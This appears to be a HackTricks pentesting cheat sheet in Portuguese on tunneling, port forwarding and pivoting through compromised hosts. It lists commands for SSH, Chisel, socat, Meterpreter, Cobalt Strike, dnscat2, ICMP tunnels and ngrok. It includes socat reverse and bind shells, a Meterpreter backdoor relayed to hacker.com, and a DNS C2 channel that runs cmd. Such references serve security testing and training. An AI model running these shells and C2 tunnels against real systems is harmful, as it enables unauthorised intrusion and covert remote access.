# Tunelamento e Encaminhamento de Porta
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Dica do Nmap {% hint style="warning" %} **ICMP** e **SYN** scans não podem ser tunelados por meio de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione. {% endhint %} ## **Bash** **Host -> Salto -> InternoA -> InternoB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; nc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB ## Expose port 3333 and connect it to the winrm port of InternalB exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` ## **SSH** Conexão gráfica SSH (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Porta Local para Porta Abrir nova porta no Servidor SSH --> Outra porta ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Porta a Porta Porta local --> Host comprometido (SSH) --> Terceira\_caixa:Porta ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) Porta Local --> Host Comprometido (SSH) --> Para onde quer que seja ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### Encaminhamento de Porta Reversa Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Note that port 443 must be open # Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` ### VPN-Tunnel É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` Ative o encaminhamento no lado do Servidor ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Defina uma nova rota no lado do cliente ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE Você pode **tunelar** todo o **tráfego** para uma **sub-rede** através de um host usando **ssh**.\ Por exemplo, encaminhando todo o tráfego destinado a 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` Conectar com uma chave privada ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` ## Meterpreter ### Port2Port Porta local --> Host comprometido (sessão ativa) --> Terceiro\_host:Porta ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre servidores através de um firewall. Ele pode ser usado para criar um túnel seguro para transferência de dados, contornando restrições de rede. ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Outra maneira: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## Cobalt Strike ### Proxy SOCKS Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para **rotear o tráfego através do beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` ### rPort2Port {% hint style="warning" %} Neste caso, a **porta é aberta no host de beacon**, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` Para observar: - O encaminhamento de porta reversa do Beacon é projetado para **encaminhar o tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**. - O tráfego é **encaminhado dentro do tráfego C2 do Beacon**, incluindo links P2P. - **Privilégios de administrador não são necessários** para criar encaminhamentos de porta reversa em portas altas. ### rPort2Port local {% hint style="warning" %} Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e a partir daí para o host:porta indicado. {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) Você precisa fazer upload de um arquivo de túnel da web: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel Você pode baixá-lo na página de lançamentos do [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ Você precisa usar a **mesma versão para cliente e servidor** ### socks ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim #And now you can use proxychains with port 1080 (default) ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` ### Encaminhamento de porta ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Túnel reverso. O túnel é iniciado a partir da vítima.\ Um proxy socks4 é criado em 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot através de **proxy NTLM** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Conexão de Bind ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` ### Shell reverso ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Porta a Porta ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` ### Porta a porta através de socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter através de SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` Você pode contornar um **proxy não autenticado** executando esta linha em vez da última no console da vítima: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### Túnel SSL com Socat **Console /bin/sh** Criar certificados em ambos os lados: Cliente e Servidor ```bash # Execute these commands on both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Porta2Porta Remoto Conecte a porta SSH local (22) à porta 443 do host atacante ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh). Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## Windows netsh ### Port2Port É necessário ser um administrador local (para qualquer porta) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier É necessário ter **acesso RDP sobre o sistema**.\ Download: 1. [Binários SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP**. 2. [Binário Portátil do Proxifier](https://www.proxifier.com/download/#win-tab) No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**. **Conecte** via **RDP** e faça upload e execute na máquina da vítima o binário `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando: ``` netstat -antb | findstr 1080 ``` Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para encaminhar o tráfego por meio dessa porta.** ## Proxificar Aplicativos GUI do Windows Você pode fazer com que aplicativos GUI do Windows naveguem por um proxy usando [**Proxifier**](https://www.proxifier.com/).\ Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\ Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que deseja proxificar. ## Bypass de proxy NTLM A ferramenta mencionada anteriormente: **Rpivot**\ **OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Autentica-se contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Em seguida, você pode usar a ferramenta de sua escolha por meio desta porta.\ Por exemplo, encaminha a porta 443. ``` Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Agora, se você definir, por exemplo, na vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está ouvindo na porta 2222. ## YARP Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) É necessário ter acesso de root em ambos os sistemas para criar adaptadores tun e tunelar dados entre eles usando consultas DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` O túnel será muito lento. Você pode criar uma conexão SSH comprimida através deste túnel usando: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 [**Baixe-o aqui**](https://github.com/iagox86/dnscat2)**.** Estabelece um canal de C\&C através do DNS. Não necessita de privilégios de root. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com # If using it in an internal network for a CTF: attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **No PowerShell** Você pode usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para executar um cliente dnscat2 no powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` #### **Encaminhamento de porta com dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Alterar o DNS do proxychains O Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para alterá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e mude o IP. Se estiver em um ambiente **Windows**, você pode definir o IP do **controlador de domínio**. ## Túneis em Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## Tunelamento ICMP ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) É necessário ter acesso de root em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ### ptunnel-ng [**Baixe-o aqui**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh # Server -- victim (needs to be able to receive ICMP) sudo ptunnel-ng # Client - Attacker sudo ptunnel-ng -p -l -r -R # Try to connect with SSH through ICMP tunnel ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok **[ngrok](https://ngrok.com/) é uma ferramenta para expor soluções para a Internet em uma linha de comando.** *URIs de exposição são como:* **UID.ngrok.io** ### Instalação - Criar uma conta: https://ngrok.com/signup - Download do cliente: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` ### Usos básicos **Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). *Também é possível adicionar autenticação e TLS, se necessário.* #### Tunelamento TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 # Example of resulting link: 0.tcp.ngrok.io:12345 # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` #### Expondo arquivos com HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` #### Captura de chamadas HTTP *Útil para XSS, SSRF, SSTI ...* Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). #### Tunelamento de serviço HTTP interno ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` #### Exemplo de configuração simples do ngrok.yaml Ele abre 3 túneis: - 2 TCP - 1 HTTP com exposição de arquivos estáticos em /tmp/httpbin/ ```yaml tunnels: mytcp: addr: 4444 proto: tcp anothertcp: addr: 5555 proto: tcp httpstatic: proto: http addr: file:///tmp/httpbin/ ``` ## Outras ferramentas para verificar * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.